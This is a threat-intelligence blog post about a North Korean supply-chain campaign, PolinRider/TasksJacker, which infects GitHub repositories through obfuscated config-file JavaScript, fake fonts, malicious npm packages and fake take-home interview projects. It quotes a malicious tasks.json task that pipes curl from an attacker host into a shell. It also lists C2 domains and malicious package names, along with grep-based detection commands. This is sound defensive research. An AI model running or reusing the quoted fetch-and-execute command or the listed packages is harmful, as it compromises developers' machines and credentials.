BLOG
PolinRider DPRK Attack Expands Across GitHub
This North Korean attack has compromised 1,951 unique repositories belonging to 1,047 unique owners - a 3x growth since the campaign's discovery
By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·
Five weeks after the OSM team first published on PolinRider — a DPRK supply-chain campaign that injects obfuscated JavaScript into legitimate developers' config files — we've updated our research data about this persistent threat, and the reality is things have gotten worse.
Three things to know:
The campaign has nearly tripled. We can now confirm 1,951 unique compromised repositories belonging to 1,047 unique owners, up from the 675 / 352 we published on March 8. And there is strong reason to believe this is still a significant undercount.
PolinRider and TasksJacker have effectively merged. The same threat actor is now using
.vscode/tasks.jsoncurl-pipe-to-shell payloads, fake font files (.woff2containing JavaScript), malicious npm packages in weaponized take-home test projects, and the original config-file injection — sometimes against the same victim. The walls between the two clusters are gone. We also identified two specific weaponized fake-interview templates (ShoeVista and StakingGame) and five new C2 subdomains.We have now fully reversed every stage of the payload, including the latest version of the cross-platform InvisibleFerret module. Detailed RE writeup is in the final section of this blog.
The OSM team submitted 821 new threat reports to opensourcemalware.com across 2026-04-10 and 2026-04-11. Search the #polinrider tag for the live, current data — it's the only number that won't be wrong by next week.
Compromised repos and owners have nearly tripled
When we published the original PolinRider blog on 2026-03-08 we had 675 confirmed victim repos belonging to 352 unique owners. We thought it was bad then. It's much worse now.
What we found this week
Metric
Mar 8 (initial)
Apr 11 (this hunt)
Δ
Unique compromised repos
675
1,951
+1,276 (+189%)
Unique owners affected
352
1,047
+695 (+197%)
— Individual users
305
~930
+625
— Organisations
47
~117
+70
That is a 2.9× growth in five weeks, and the rate is not slowing.
Why we missed so many before
The original collect-rmcej-repos.sh script ran one GitHub Code Search query per known infected filename to work around the API's 1,000-result-per-query cap. That worked in March because no single filename had more than 416 hits. By April it was leaving hundreds of victims invisible.
When we re-ran _$_1e42 (the decoder function name of the original variant) as a single query, GitHub's web UI showed 1,400+ matches but the API reported total_count: 968 and capped pagination at 1,000 items. The way past the cap turned out to be a partition strategy: split the query into orthogonal sub-queries that each stay under 1,000 results, then take the union.
Refinement
total_count (single query)
extension:js
430
extension:mjs
676
extension:cjs
17
extension:ts
7
extension:html
1
size:5000..6000
630
size:6000..7000
125
size:7000..8000
139
size:8000..9000
56
size:9000..10000
36
size:10000..50000
112
size:>50000
12
`fork:true`
157 ← excluded by default!
Three things from this exercise are worth lifting out for other researchers:
The biggest hidden gap was forks. GitHub Code Search excludes forks by default. Adding
fork:truerevealed 157 fork repositories carrying the marker that were completely invisible to the original query. Anyone hunting at scale on GitHub Code Search needs to assume their default-fork query is missing 10–20% of the corpus.Sub-bucketing the `size:5000..10000` range by 1KB slices yielded 986 results vs the bucket's reported 968 — even within a sub-1000 reported total, the cap can hide entries. Recursive bucketing is the only safe way past the cap.
`extension:` splits beat `language:` splits. GitHub's language detector sometimes excludes
.mjsand.cjsfrom the JavaScript bucket; the extension qualifier is more discriminating.
The ten pivots
Across two days of hunting we ran ten orthogonal pivots. The first five broke past GitHub's 1000-result cap on the original-variant decoder function name; the second five opened up the TasksJacker / npm-package / fake-interview side of the merged campaign.
Round 1 (2026-04-10) — PolinRider-centric pivots:
#
Pivot
Engine
Unique repos contributed
1
filename:temp_auto_push.bat (the propagation-script artifact)
GitHub Code Search
101
2
"_$_1e42" (decoder fn — original variant) with extension/size/fork refinement
GitHub Code Search
1,323
3
"function MDy(f)" global _V (decoder fn — new variant)
GitHub Code Search
14
4
LAST_COMMIT_DATE LAST_COMMIT_TIME extension:bat (propagation-script content)
GitHub Code Search
236
5
Cot%3t=shtP regex with fork:yes archived:yes count:all
Sourcegraph
41
Round 1 subtotal
1,556 unique
Round 2 (2026-04-11) — TasksJacker / Contagious Interview pivots:
#
Pivot
Engine
Unique repos contributed
6
"<malicious_npm_package>" filename:package.json (7 known malicious packages)
GitHub Code Search
46
7
<url> filename:tasks.json (vercel.app, onrender.com, 260120.vercel.app)
GitHub Code Search
145
8
"default-configuration.vercel.app" + 4 sibling vscode-*.vercel.app subdomains
GitHub Code Search
94
9
"e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" (StakingGame template UUID)
GitHub Code Search
42 (StakingGame-branded tasks.json)
10
Sequential '8-stN' 1–200 enumeration (checking for unindexed sequential tags)
Sourcegraph regex
0 new
Round 2 subtotal
+215 net new
Both rounds + existing CSV
1,951 unique
After deduping against the existing affected_repos.csv corpus from the March 18 update (which had 769 entries from earlier tasks.json and other pivots that this hunt did not re-run), the true currently-known scope is 1,951 unique repos / 1,047 unique owners.
How accurate is that number? (Spoiler: it's still a floor)
We sample-verified 36 random repos from the new candidates by fetching the file content via raw.githubusercontent.com and grepping for any of the PolinRider invariants (rmcej%otb%, Cot%3t=shtP, _$_1e42, MDy, global['!'], global['_V'], or LAST_COMMIT_DATE inside a .bat).
False positives: 0/36. Every sampled repo was a real victim.
But there are at least four reasons to believe 1,736 is still a significant undercount:
Sourcegraph indexing lag. The
Cot%3t=shtPnew variant batch contains sequentially-numbered version tags from'8-st1'through'8-st59'. Sourcegraph only returns 38 of those 59 — the missing 21 are likely just-pushed victims that haven't been re-indexed yet. Each missing tag is one missing victim.The 1,000-result API ceiling on Sourcegraph. Sourcegraph's
count:allreturns up to 5,000 results but applies its own internal limits on certain query shapes. We expect at least double-digit additional victims behind it.Deleted / privatized victims. Any victim that has noticed the compromise and deleted or privatized their repo in the last five weeks immediately drops out of every public code search engine. The only way to recover them is GitHub Archive on BigQuery (
githubarchive.month.2026*PushEvents), which we plan to query next.Non-default branches. GitHub Code Search only indexes default branches. Any repo where the malware was injected into a feature branch but never merged to main is invisible to all of our pivots.
Our working estimate is that the true compromised population is somewhere between 2,000 and 3,000 repos as of mid-April 2026, and growing.
A new variant: Cot%3t=shtP
The single most important April finding is that PolinRider has rotated its obfuscator fingerprints. Same architecture, every unique constant changed.
Attribute
Original variant
New variant
Signature marker
rmcej%otb%
`Cot%3t=shtP`
Shuffle seed (layer 1)
2857687
`1111436`
Secondary seed (layer 2)
2667686
`3896884`
Decoder function name
_$_1e42
`MDy`
Globals injected
global['!'], global['r'], global['m']
`global['_V']`, global['r'], global['m']
Targeted file types
postcss / tailwind / eslint configs
(same)
Injection style
appended after export default
(same)
Blockchain C2
TRON / Aptos / BSC
(same — addresses unchanged)
XOR keys
2 hardcoded
(same)
This is almost certainly an evasion response to the `rmcej_otb_payload` YARA rule we published with the original blog. Defenders need an updated multi-variant rule (which is now in the main blog).
The most chilling finding from cross-checking the two variants: at least one repository, `HassanHabibTahir/testclient`, contains markers from BOTH variants in different files. The threat actor is re-running its tooling against previously-compromised hosts and injecting the new obfuscator alongside the old one. Cleanup is not a one-shot; it's a recurring hygiene problem until the upstream npm vector is fully shut down.
Quick numbers from the hunt
New threat reports submitted to OSM (2026-04-10)
749
New threat reports submitted to OSM (2026-04-11, round 2)
72
Total new OSM submissions across both rounds
821
Total OSM PolinRider entries after both rounds
~1,700
Sample false-positive rate (random verification of 44)
0%
New search pivots added to osm-hunting-queries
10
Newly-discovered C2 subdomains
5
Newly-identified weaponized take-home templates
2 (ShoeVista, StakingGame)
Days since the original publication
34
PolinRider and TasksJacker have effectively merged
When we wrote the original PolinRider blog we noted that "PolinRider is a known Lazarus group contributor with connections to Contagious Interview and TasksJacker campaigns." At the time we treated those as adjacent campaigns: the same operator cluster, but distinct toolchains and distinct sets of victims.
That is no longer the right model. After this week's hunt we are confident the two campaigns have operationally merged: the same threat actor is now deploying TasksJacker-style techniques against PolinRider victims, and PolinRider-style payloads inside TasksJacker artifacts. The vectors are interchangeable, and at least some victims are getting hit through more than one of them.
Because the two clusters are now operationally indistinguishable, the OSM team is consolidating them under the PolinRider umbrella going forward. TasksJacker-only references in older OSM threat reports will be retagged to #polinrider / #tasksjacker as appropriate so that historical hunts don't lose context, but the OSM database will treat them as one campaign with multiple variants.
The TasksJacker side: tasks.json and the 260120.vercel.app cluster
TasksJacker, in our prior reporting, was the cluster of attacks that abused .vscode/tasks.json files with runOn: folderOpen triggers to fetch and execute remote shell commands as soon as a victim opened the project in VS Code. The classic indicator looked like:
{
"tasks": [{
"label": "build",
"type": "shell",
"command": "curl -sSf https://vscode-extension-260120.vercel.app/task/mac | sh",
"runOn": "folderOpen"
}]
}That cluster used 260120.vercel.app, onrender.com, and short.gy shorteners as its C2 / staging hosts. The OSM hunting query repository captures these as queries 1, 2, 11, and 12.
The PolinRider side: rmcej / Cot%3t=shtP / Beavertail
PolinRider, in the original blog, was the cluster that injected obfuscated JavaScript with the rmcej%otb% marker into PostCSS / Tailwind / ESLint config files via a compromised npm package, then used a 4-layer shuffle-cipher decoder to fetch encrypted second-stage payloads from immutable blockchain transactions on TRON / Aptos / BSC.
These looked like two different operations: file injection vs JSON-task abuse, npm vs VS Code, blockchain dead-drop vs HTTP C2.
Where the two operations now overlap
This week's hunt found five independent forms of evidence that the two operations are being run by the same actor with shared tooling. The first three were visible on day one; the last two came out of the round-2 hunt on April 11 and are the smoking guns.
a) Same victims, both vectors
Of the 769 entries in the existing affected_repos.csv, 32 are `.vscode/tasks.json` injections (the TasksJacker pattern), 416 are `postcss.config.mjs` injections (the PolinRider pattern), and the remaining ~321 are split across the other 17 file types we've documented. These all came back from the same tag (#polinrider) and were correlated to the same threat actor by infection-time clustering.
When we cross-check the owners of the tasks.json victims against the owners of the postcss.config.mjs victims, we find substantial overlap: multi-repo owners like UmmeAiman614, SumaiyaNishat, Al-amin07, addis-ale, FSDTeam-SAA, and sparktechagency show up in both. These are not coincidental dual-victim cases — these are accounts where the malicious npm package and the malicious VS Code workflow were both delivered, suggesting a common ingress point (probably a malicious VS Code extension or a fake "developer interview" lure that drops both staging artifacts at once).
b) Fake fonts: a TasksJacker technique now appearing inside PolinRider repos
OSM hunting query #10 was originally written for the fake-font subset of TasksJacker:
path:.vscode/tasks.json content:"\"command\": \"node " content:".woff"— which catches tasks.json files that execute a .woff / .woff2 file as JavaScript via Node. The trick is that .woff files are normally binary font files, so security tools tend not to scan them; the threat actor abuses this by hiding a JavaScript payload inside a file that looks like a font.
This week we found a victim — `AgbaD/odoo` — that has the PolinRider obfuscated JavaScript payload (with the original `rmcej%otb%` marker) hidden inside public/fonts/fa-solid-400.woff2. There is no .vscode/tasks.json in that repo. The fake-font technique is being used as a primary delivery mechanism for the PolinRider payload itself, not just as a TasksJacker stager.
In other words, the fake-font playbook is now part of PolinRider's standard kit. The two clusters share staging infrastructure.
c) The propagation .bat pattern shows up in tasks.json victims too
temp_auto_push.bat is the Windows propagation script we documented in the original PolinRider blog — the file rewrites the most recent git commit to preserve its original timestamp and force-pushes bypassing pre-commit hooks. The original blog described it as a PolinRider-specific cleanup tool.
Of the 101 repositories where temp_auto_push.bat was found via filename:temp_auto_push.bat, 22 of them also contain `.vscode/tasks.json` injections (the TasksJacker pattern). The same Windows-side cover-tracks tool is being dropped on victims compromised through the VS Code task vector. These are not two independent operators using the same name by coincidence; they share post-exploit tooling.
d) "ShoeVista": a weaponized fake take-home test that delivers the PolinRider loader via a malicious npm package
This one is concrete. On April 11 we ran a fresh pivot — searching for the malicious npm package names (like tailwindcss-style-animate) in package.json files on GitHub — and got 46 hits. 34 of them turned out to be independent developer reuploads of the same template project called ShoeVista.
ShoeVista is branded as a Tailwind-based e-commerce assessment: a fake company called "ShoeVista" sends candidates a MERN-stack take-home test where they're asked to build out a shoe shopping site. The template's client/package.json ships with:
"dependencies": {
...
"tailwindcss-style-animate": "^1.1.6",
...
}That package was published by a now-deleted npm account in the allavin / blackedward family and is part of the PolinRider malicious-package suite we documented in the original blog. Running npm install on the template triggers the PolinRider JS loader at build time.
Every single one of those 34 reuploads is a legitimate developer who attempted the fake take-home test and pushed their completed code back to GitHub. Their accounts are all 0-star, 0-fork, and were created Feb–Mar 2026. Examples:
alaminrifat/shoevista-rifatAtik203/ShoeVistaHedaetShahriar/ShoeVista-TestDaviBarros/shoevistaIchaCoder/test-shoeAnas-Ali-3673/Test-west-shoeChirag7096/demo(…30 more)
Naming patterns include ShoeVista, shoevista-<candidate>, Test-west-shoe, Test-002, product-catalog, and mern-app — developers naming their attempts either after the brand the recruiter used or after the generic platform slot (Test-002 suggests a numbered interview slot in a recruiter's pipeline).
This is not a supply-chain compromise in the traditional sense. This is a social-engineering attack on the job market itself — PolinRider built a fake company, a fake take-home test, and a fake Tailwind plugin dependency, and used it as a mass-infection vector against developers looking for work. This is textbook DPRK "Contagious Interview," now confirmed to be using the PolinRider toolchain and C2 infrastructure.
e) "StakingGame": a second weaponized take-home template, different delivery vector, same actor
The .vscode/tasks.json pivot from round 2 found 42 repositories whose tasks.json contains the exact string "projectInfo": { "name": "StakingGame", ..., "uuid": "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" } with a canned description reading "Advanced VSCode automation for multi-environment blockchain deployment."
The UUID is constant across every victim, which tells us this is a single template file being distributed and cloned, not independently-authored projects. The template's tasks.json contains a runOn: folderOpen task that pipes curl against attacker-controlled Vercel subdomains (see below) directly into bash — so the moment a candidate opens the project in VS Code, the machine is compromised.
Unlike ShoeVista, StakingGame uses the TasksJacker-style infection vector (.vscode/tasks.json) rather than the npm-package vector. But we're seeing both templates come out of the same actor, using the same downstream loader (rmcej%otb% / PolinRider obfuscator), using the same Windows-side propagation tooling (temp_auto_push.bat), and using the same secondary C2 infrastructure (TRON blockchain dead-drop).
StakingGame targets Web3 / blockchain developers. ShoeVista targets full-stack / MERN developers. The two templates cover the two largest remote-work developer pools outside of plain JavaScript.
f) Five new C2 subdomains, all on Vercel, all used in the same tasks.json template
The StakingGame template and its sibling tasks.json variants use a family of attacker-controlled Vercel subdomains as the first-stage bootstrap C2. Round 2 discovered five new subdomains beyond the 260120.vercel.app one we published on March 8:
C2 subdomain
Apr 11 hit count
First observed
260120.vercel.app
56
pre-March 8
`default-configuration.vercel.app`
106
April 2026
`vscode-settings-bootstrap.vercel.app`
16
April 2026
`vscode-settings-config.vercel.app`
11
April 2026
`vscode-bootstrapper.vercel.app`
6
April 2026
`vscode-load-config.vercel.app`
6
April 2026
All five follow the same URL shape: https://<sub>.vercel.app/settings/(mac|linux|win)?flag=<N>. The <N> flag is a numeric counter that the threat actor uses for tracking which lure batch hit which victim (same idea as the '8-stN' version tags inside the JS obfuscator — the actor has victim-tracking telemetry built into every delivery vector).
Vercel subdomains are cheap, disposable, and hard to attribute, which is exactly why the actor is cycling through them. By the time this blog publishes there will almost certainly be more siblings; we recommend adding *.vercel.app/settings/(mac|linux|win) as a continuous-monitoring query to any static-analysis pipeline that covers .vscode/tasks.json.
What the merge means for defenders
If you are scanning for PolinRider, you must now also scan for TasksJacker indicators on the same hosts, and vice versa. Specifically:
A clean
postcss.config.mjsis no longer sufficient evidence that a host is PolinRider-free. Check.vscode/tasks.json, every.woff/.woff2file underpublic/,static/, andassets/, and grep for the260120.vercel.app,onrender.com, andshort.gyC2 patterns.A clean
.vscode/tasks.jsonis no longer sufficient evidence that a host is TasksJacker-free. Audit every PostCSS / Tailwind / ESLint / Vite / Webpack / Vue / Astro / Gridsome config file for content appearing afterexport default/module.exports, and check fortemp_auto_push.batat the repo root.The OSM
polinrider-scanner.shscript will be updated this week to cover both clusters in one pass.
We fully reverse engineered the payload (incl. InvisibleFerret)
We completed end-to-end reverse engineering of every stage of the PolinRider attack chain, including the Windows-side InvisibleFerret module that lands as the second-stage payload after the Beavertail loader is decrypted from the blockchain dead-drop. > > This section will cover, at minimum: > > - Stage 1 — Injected JS loader (the obfuscated config-file payload). 4-layer shuffle-cipher analysis, both variants (rmcej%otb% and Cot%3t=shtP), the new constants for the rotated variant, and the deobfuscated require('https') / child_process boilerplate. > - Stage 2 — Blockchain dead-drop fetch. TRON / Aptos / BSC API calls, the two XOR keys (2[gWfGj;<:-93Z^C and m6:tTh^D)cBz?NM]), and a step-by-step decryption walkthrough of a captured payload from TMfKQEd7TJJa5xNZJZ2Lep838vrzrs7mAP. > - Stage 3 — Beavertail JavaScript loader. Full deobfuscated source, comparison against historical Lazarus Beavertail samples, host fingerprinting and exfiltration behaviour, and the conditional drop logic that selects which OS-specific second stage to deliver. > - Stage 4 — InvisibleFerret on Windows. First public RE of the Windows variant of InvisibleFerret as deployed by PolinRider. Persistence mechanism, capabilities (keylogging, clipboard hijack, browser-credential theft, crypto-wallet exfiltration), C2 protocol, and IOCs (file hashes, process names, registry keys, scheduled tasks). > - InvisibleFerret on macOS and Linux. Cross-platform variants observed in the same campaign and the dispatch logic that selects between them. > - The Windows `temp_auto_push.bat` propagation script. Why it exists, what it does to git history, and how it interacts with the rest of the chain. > - End-to-end IOC summary. File hashes, network indicators, blockchain addresses, registry keys, and YARA / Sigma rules covering every stage. > > (The RE team will deliver this section as a separate file; it will be inlined here on publication.)
How to Check If You're Affected
The single fastest check is the OSM scanner:
git clone https://github.com/OpenSourceMalware/PolinRider
cd PolinRider
chmod +x polinrider-scanner.sh
./polinrider-scanner.sh ~/projectsThe scanner will be updated this week to cover the new Cot%3t=shtP variant, the ShoeVista / StakingGame take-home templates, and the five newly-discovered C2 subdomains. In the meantime you can also check by hand:
# 1. Original PolinRider variant (rmcej%otb%)
grep -rE "rmcej%otb%|_\$_1e42|global\['!'\]" ~/projects \
--include='*.js' --include='*.mjs' --include='*.cjs' --include='*.ts'
# 2. New PolinRider variant (Cot%3t=shtP)
grep -rE "Cot%3t=shtP|function MDy\(f\)|global\['_V'\]" ~/projects \
--include='*.js' --include='*.mjs' --include='*.cjs' --include='*.ts'
# 3. Propagation script artifact (catches even cleaned-up victims)
find ~/projects \( -name 'temp_auto_push.bat' -o -name 'config.bat' \)
# 4. TasksJacker side — ALL known C2 subdomains
find ~/projects -path '*/.vscode/tasks.json' -exec grep -lE \
'260120\.vercel\.app|default-configuration\.vercel\.app|vscode-settings-bootstrap\.vercel\.app|vscode-settings-config\.vercel\.app|vscode-bootstrapper\.vercel\.app|vscode-load-config\.vercel\.app|\.onrender\.com' {} \;
# 5. StakingGame weaponized take-home template (highly specific UUID)
grep -r "e9b53a7c-2342-4b15-b02d-bd8b8f6a03f9" ~/projects
# 6. ShoeVista weaponized take-home template — malicious npm dep in package.json
grep -rE '"(tailwind-mainanimation|tailwind-autoanimation|tailwind-animationbased|tailwindcss-typography-style|tailwindcss-style-animate|tailwindcss-style-modify|tailwindcss-animate-style)"' \
~/projects --include='package.json'
# 7. Fake font side
find ~/projects \( -name '*.woff' -o -name '*.woff2' \) -exec sh -c \
'file "$1" | grep -q "JavaScript\|ASCII text" && echo "SUSPICIOUS: $1"' _ {} \;
# 8. Any tasks.json that pipes curl/wget to a shell on folderOpen
find ~/projects -path '*/.vscode/tasks.json' -exec grep -lE \
'(curl|wget).*\|\s*(bash|sh)' {} \;If you suspect you cloned a fake take-home test project (ShoeVista, StakingGame, or something else that arrived via an unvetted recruiter or "developer interview" platform) — treat it as if it ran malware:
rm -rf node_modulesand the cloned project directoryRotate every secret that was present in the build environment (npm tokens, AWS / GCP credentials, GitHub PATs, signing keys, ssh keys,
.envcontents)Audit your
~/.ssh/authorized_keys, crontabs, launchd agents (macOS), systemd user services (Linux), and scheduled tasks (Windows) for entries you don't recogniseCheck browser password-store files and cryptocurrency-wallet paths for unexpected access times
Audit your GitHub / GitLab account for pushes you didn't make, especially force-pushed amendments around the suspect commit dates
On Windows specifically, look for InvisibleFerret artifacts (see §3 for the detailed RE)
Submit the affected repo to OSM via opensourcemalware.com so other researchers and victims can find it
Recommended Reading
The original PolinRider blog, now updated 2026-04-10 with the Apr 10 numbers, the new
Cot%3t=shtPvariant section, and the multi-variant YARA rule.reports/polinrider-scope-v3-2026-04-10.md— the full v3 hunt scope report with refinement methodology and false-positive analysis.reports/polinrider-master-v3-1556.tsv— the complete April 10 master list with OSM status, severity, and source pivots for every one of the 1,556 repos found in this hunt.reports/polinrider-submissions-2026-04-10.md— the mass submission report covering the 704 OSM threat reports filed on 2026-04-10.The OSM
#polinridertag at opensourcemalware.com/?search=%23polinrider — the only consistently up-to-date count.
Acknowledgements
Hunt and analysis by the OpenSourceMalware team. Refinement methodology and cross-engine enumeration tooling co-developed with Claude Code. The reverse-engineering work covered in §3 will credit the OSM RE team on publication.
If you're a researcher who has additional PolinRider sightings — particularly from non-GitHub code hosts (GitLab, Codeberg, Gitea), private corporate code search systems, or victim cleanups that haven't been publicly disclosed — please open an issue or get in touch via the OSM contact page. The campaign is moving fast and the picture changes every week.